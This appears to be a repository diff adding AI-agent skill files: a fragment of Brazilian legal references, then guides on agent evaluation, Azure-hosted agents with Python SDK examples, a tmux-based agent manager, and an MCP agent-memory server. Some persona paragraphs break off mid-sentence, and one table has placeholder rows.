- Sumula 302: Carencia em plano de saude — urgencia afasta
- Sumula 532: Notificacao previa obrigatoria para cadastro negativo
### STJ — Criminal/Maria da Penha
- Sumula 536: Nao aplica suspensao processo
- Sumula 542: Lesao corporal = acao publica incondicionada
- Sumula 588: Nao cabe restritiva de direitos
- Sumula 589: Insignificancia inaplicavel
- Sumula 600: Coabitacao nao e requisito
### STF — Constitucional
- SV 25: Prisao civil so devedor alimentos
- RE 878.694 (Tema 498): Companheiro = conjuge heranca
- RE 898.060 (Tema 622): Socioafetiva nao impede biologica
- ADI 4.277: Uniao estavel homoafetiva
- RE 1.010.606: Direito ao esquecimento
- Tema 1.102: Revisao da vida toda
## Doutrina de Referencia
### Familia
- Maria Berenice Dias — Manual de Direito das Familias
- Rolf Madaleno — Direito de Familia
- Paulo Lobo — Direito Civil: Familias
### Civil / Responsabilidade
- Flavio Tartuce — Direito Civil
- Carlos Roberto Goncalves — Responsabilidade Civil
- Sergio Cavalieri Filho — Programa de Responsabilidade Civil
### Processual Civil
- Fredie Didier Jr. — Curso de Direito Processual Civil
- Daniel Amorim Assumpçao Neves — Manual de Processo Civil
- Humberto Theodoro Junior — Curso de Processo Civil
### Penal
- Rogerio Greco — Curso de Direito Penal
- Cleber Masson — Direito Penal
- Renato Brasileiro — Manual de Processo Penal
### Trabalhista
- Mauricio Godinho Delgado — Curso de Direito do Trabalho
### Previdenciario
- Frederico Amado — Direito Previdenciario
### Digital
- Patricia Peck Pinheiro — Direito Digital
@@ -0,0 +1,65 @@
---
type: "agent_requested"
---
# Agent Evaluation
You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
production. You've learned that evaluating LLM agents is fundamentally different from
testing traditional software—the same input can produce different outputs, and "correct"
often has no single answer.
You've built evaluation frameworks that catch issues before production: behavioral regression
tests, capability assessments, and reliability metrics. You understand that the goal isn't
100% test pass rate—it
## Capabilities
- agent-testing
- benchmark-design
- capability-assessment
- reliability-metrics
- regression-testing
## Requirements
- testing-fundamentals
- llm-fundamentals
## Patterns
### Statistical Test Evaluation
Run tests multiple times and analyze result distributions
### Behavioral Contract Testing
Define and test agent behavioral invariants
### Adversarial Testing
Actively try to break agent behavior
## Anti-Patterns
### ❌ Single-Run Testing
### ❌ Only Happy Path Tests
### ❌ Output String Matching
## ⚠️ Sharp Edges
| Issue | Severity | Solution |
|-------|----------|----------|
| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
## Related Skills
Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
@@ -0,0 +1,334 @@
---
type: "agent_requested"
---
# Agent Framework Azure Hosted Agents
Build persistent agents on Azure AI Foundry using the Microsoft Agent Framework Python SDK.
## Architecture
```
User Query → AzureAIAgentsProvider → Azure AI Agent Service (Persistent)
↓
Agent.run() / Agent.run_stream()
↓
Tools: Functions | Hosted (Code/Search/Web) | MCP
↓
AgentThread (conversation persistence)
```
## Installation
```bash
# Full framework (recommended)
pip install agent-framework --pre
# Or Azure-specific package only
pip install agent-framework-azure-ai --pre
```
## Environment Variables
```bash
export AZURE_AI_PROJECT_ENDPOINT="https://<project>.services.ai.azure.com/api/projects/<project-id>"
export AZURE_AI_MODEL_DEPLOYMENT_NAME="gpt-4o-mini"
export BING_CONNECTION_ID="your-bing-connection-id" # For web search
```
## Authentication
```python
from azure.identity.aio import AzureCliCredential, DefaultAzureCredential
# Development
credential = AzureCliCredential()
# Production
credential = DefaultAzureCredential()
```
## Core Workflow
### Basic Agent
```python
import asyncio
from agent_framework.azure import AzureAIAgentsProvider
from azure.identity.aio import AzureCliCredential
async def main():
async with (
AzureCliCredential() as credential,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="MyAgent",
instructions="You are a helpful assistant.",
)
result = await agent.run("Hello!")
print(result.text)
asyncio.run(main())
```
### Agent with Function Tools
```python
from typing import Annotated
from pydantic import Field
from agent_framework.azure import AzureAIAgentsProvider
from azure.identity.aio import AzureCliCredential
def get_weather(
location: Annotated[str, Field(description="City name to get weather for")],
) -> str:
"""Get the current weather for a location."""
return f"Weather in {location}: 72°F, sunny"
def get_current_time() -> str:
"""Get the current UTC time."""
from datetime import datetime, timezone
return datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
async def main():
async with (
AzureCliCredential() as credential,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="WeatherAgent",
instructions="You help with weather and time queries.",
tools=[get_weather, get_current_time], # Pass functions directly
)
result = await agent.run("What's the weather in Seattle?")
print(result.text)
```
### Agent with Hosted Tools
```python
from agent_framework import (
HostedCodeInterpreterTool,
HostedFileSearchTool,
HostedWebSearchTool,
)
from agent_framework.azure import AzureAIAgentsProvider
from azure.identity.aio import AzureCliCredential
async def main():
async with (
AzureCliCredential() as credential,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="MultiToolAgent",
instructions="You can execute code, search files, and search the web.",
tools=[
HostedCodeInterpreterTool(),
HostedWebSearchTool(name="Bing"),
],
)
result = await agent.run("Calculate the factorial of 20 in Python")
print(result.text)
```
### Streaming Responses
```python
async def main():
async with (
AzureCliCredential() as credential,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="StreamingAgent",
instructions="You are a helpful assistant.",
)
print("Agent: ", end="", flush=True)
async for chunk in agent.run_stream("Tell me a short story"):
if chunk.text:
print(chunk.text, end="", flush=True)
print()
```
### Conversation Threads
```python
from agent_framework.azure import AzureAIAgentsProvider
from azure.identity.aio import AzureCliCredential
async def main():
async with (
AzureCliCredential() as credential,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="ChatAgent",
instructions="You are a helpful assistant.",
tools=[get_weather],
)
# Create thread for conversation persistence
thread = agent.get_new_thread()
# First turn
result1 = await agent.run("What's the weather in Seattle?", thread=thread)
print(f"Agent: {result1.text}")
# Second turn - context is maintained
result2 = await agent.run("What about Portland?", thread=thread)
print(f"Agent: {result2.text}")
# Save thread ID for later resumption
print(f"Conversation ID: {thread.conversation_id}")
```
### Structured Outputs
```python
from pydantic import BaseModel, ConfigDict
from agent_framework.azure import AzureAIAgentsProvider
from azure.identity.aio import AzureCliCredential
class WeatherResponse(BaseModel):
model_config = ConfigDict(extra="forbid")
location: str
temperature: float
unit: str
conditions: str
async def main():
async with (
AzureCliCredential() as credential,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="StructuredAgent",
instructions="Provide weather information in structured format.",
response_format=WeatherResponse,
)
result = await agent.run("Weather in Seattle?")
weather = WeatherResponse.model_validate_json(result.text)
print(f"{weather.location}: {weather.temperature}°{weather.unit}")
```
## Provider Methods
| Method | Description |
|--------|-------------|
| `create_agent()` | Create new agent on Azure AI service |
| `get_agent(agent_id)` | Retrieve existing agent by ID |
| `as_agent(sdk_agent)` | Wrap SDK Agent object (no HTTP call) |
## Hosted Tools Quick Reference
| Tool | Import | Purpose |
|------|--------|---------|
| `HostedCodeInterpreterTool` | `from agent_framework import HostedCodeInterpreterTool` | Execute Python code |
| `HostedFileSearchTool` | `from agent_framework import HostedFileSearchTool` | Search vector stores |
| `HostedWebSearchTool` | `from agent_framework import HostedWebSearchTool` | Bing web search |
| `HostedMCPTool` | `from agent_framework import HostedMCPTool` | Service-managed MCP |
| `MCPStreamableHTTPTool` | `from agent_framework import MCPStreamableHTTPTool` | Client-managed MCP |
## Complete Example
```python
import asyncio
from typing import Annotated
from pydantic import BaseModel, Field
from agent_framework import (
HostedCodeInterpreterTool,
HostedWebSearchTool,
MCPStreamableHTTPTool,
)
from agent_framework.azure import AzureAIAgentsProvider
from azure.identity.aio import AzureCliCredential
def get_weather(
location: Annotated[str, Field(description="City name")],
) -> str:
"""Get weather for a location."""
return f"Weather in {location}: 72°F, sunny"
class AnalysisResult(BaseModel):
summary: str
key_findings: list[str]
confidence: float
async def main():
async with (
AzureCliCredential() as credential,
MCPStreamableHTTPTool(
name="Docs MCP",
url="https://learn.microsoft.com/api/mcp",
) as mcp_tool,
AzureAIAgentsProvider(credential=credential) as provider,
):
agent = await provider.create_agent(
name="ResearchAssistant",
instructions="You are a research assistant with multiple capabilities.",
tools=[
get_weather,
HostedCodeInterpreterTool(),
HostedWebSearchTool(name="Bing"),
mcp_tool,
],
)
thread = agent.get_new_thread()
# Non-streaming
result = await agent.run(
"Search for Python best practices and summarize",
thread=thread,
)
print(f"Response: {result.text}")
# Streaming
print("\nStreaming: ", end="")
async for chunk in agent.run_stream("Continue with examples", thread=thread):
if chunk.text:
print(chunk.text, end="", flush=True)
print()
# Structured output
result = await agent.run(
"Analyze findings",
thread=thread,
response_format=AnalysisResult,
)
analysis = AnalysisResult.model_validate_json(result.text)
print(f"\nConfidence: {analysis.confidence}")
if __name__ == "__main__":
asyncio.run(main())
```
## Conventions
- Always use async context managers: `async with provider:`
- Pass functions directly to `tools=` parameter (auto-converted to AIFunction)
- Use `Annotated[type, Field(description=...)]` for function parameters
- Use `get_new_thread()` for multi-turn conversations
- Prefer `HostedMCPTool` for service-managed MCP, `MCPStreamableHTTPTool` for client-managed
## Reference Files
- references/tools.md: Detailed hosted tool patterns
- references/mcp.md: MCP integration (hosted + local)
- references/threads.md: Thread and conversation management
- references/advanced.md: OpenAPI, citations, structured outputs
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
@@ -0,0 +1,39 @@
---
type: "agent_requested"
---
# Agent Manager Skill
## When to use
Use this skill when you need to:
- run multiple local CLI agents in parallel (separate tmux sessions)
- start/stop agents and tail their logs
- assign tasks to agents and monitor output
- schedule recurring agent work (cron)
## Prerequisites
Install `agent-manager-skill` in your workspace:
```bash
git clone https://github.com/fractalmind-ai/agent-manager-skill.git
```
## Common commands
```bash
python3 agent-manager/scripts/main.py doctor
python3 agent-manager/scripts/main.py list
python3 agent-manager/scripts/main.py start EMP_0001
python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
Follow teams/fractalmind-ai-maintenance.md Workflow
EOF
```
## Notes
- Requires `tmux` and `python3`.
- Agents are configured under an `agents/` directory (see the repo for examples).
@@ -0,0 +1,83 @@
---
type: "agent_requested"
---
# Agent Memory Skill
This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
## Prerequisites
- Node.js (v18+)
## Setup
1. **Clone the Repository**:
Clone the `agentMemory` project into your agent's workspace or a parallel directory:
```bash
git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
```
2. **Install Dependencies**:
```bash
cd .agent/skills/agent-memory
npm install
npm run compile
```
3. **Start the MCP Server**:
Use the helper script to activate the memory bank for your current project:
```bash
npm run start-server <project_id> <absolute_path_to_target_workspace>
```
_Example for current directory:_
```bash
npm run start-server my-project $(pwd)
```
## Capabilities (MCP Tools)
### `memory_search`
Search for memories by query, type, or tags.
- **Args**: `query` (string), `type?` (string), `tags?` (string[])
- **Usage**: "Find all authentication patterns" -> `memory_search({ query: "authentication", type: "pattern" })`
### `memory_write`
Record new knowledge or decisions.
- **Args**: `key` (string), `type` (string), `content` (string), `tags?` (string[])
- **Usage**: "Save this architecture decision" -> `memory_write({ key: "auth-v1", type: "decision", content: "..." })`
### `memory_read`
Retrieve specific memory content by key.
- **Args**: `key` (string)
- **Usage**: "Get the auth design" -> `memory_read({ key: "auth-v1" })`
### `memory_stats`
View analytics on memory usage.
- **Usage**: "Show memory statistics" -> `memory_stats({})`
## Dashboard
This skill includes a standalone dashboard to visualize memory usage.
```bash
npm run start-dashboard <absolute_path_to_target_workspace>
```
Access at: `http://localhost:3333`
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
@@ -0,0 +1,68 @@
---
type: "agent_requested"
---
# Agent Memory Systems
You are a cognitive architect who understands that memory makes agents intelligent.
You've built memory systems for agents handling millions of interactions. You know
that the hard part isn't storing - it's retrieving the right memory at the right time.
Your core insight: Memory failures look like intelligence failures. When an agent
"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
not a storage problem. You obsess over chunking strategies, embedding quality,
and
## Capabilities
- agent-memory
- long-term-memory
- short-term-memory
- working-memory
- episodic-memory
- semantic-memory
- procedural-memory
- memory-retrieval
- memory-formation
- memory-decay
## Patterns
### Memory Type Architecture
Choosing the right memory type for different information
### Vector Store Selection Pattern
Choosing the right vector database for your use case
### Chunking Strategy Pattern
Breaking documents into retrievable chunks
## Anti-Patterns
### ❌ Store Everything Forever
### ❌ Chunk Without Testing Retrieval
### ❌ Single Memory Type for All Data
## ⚠️ Sharp Edges
| Issue | Severity | Solution |
|-------|----------|----------|
| Issue | critical | ## Contextual Chunking (Anthropic's approach) |
| Issue | high | ## Test different sizes |
| Issue | high | ## Always filter by metadata first |
| Issue | high | ## Add temporal scoring |
| Issue | medium | ## Detect conflicts on storage |
| Issue | medium | ## Budget tokens for different memory types |
| Issue | medium | ## Track embedding model in metadata |
## Related Skills
Works well with: `autonomous-agents`, `multi-agent-orchestration`, `llm-architect`, `agent-tool-builder`
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.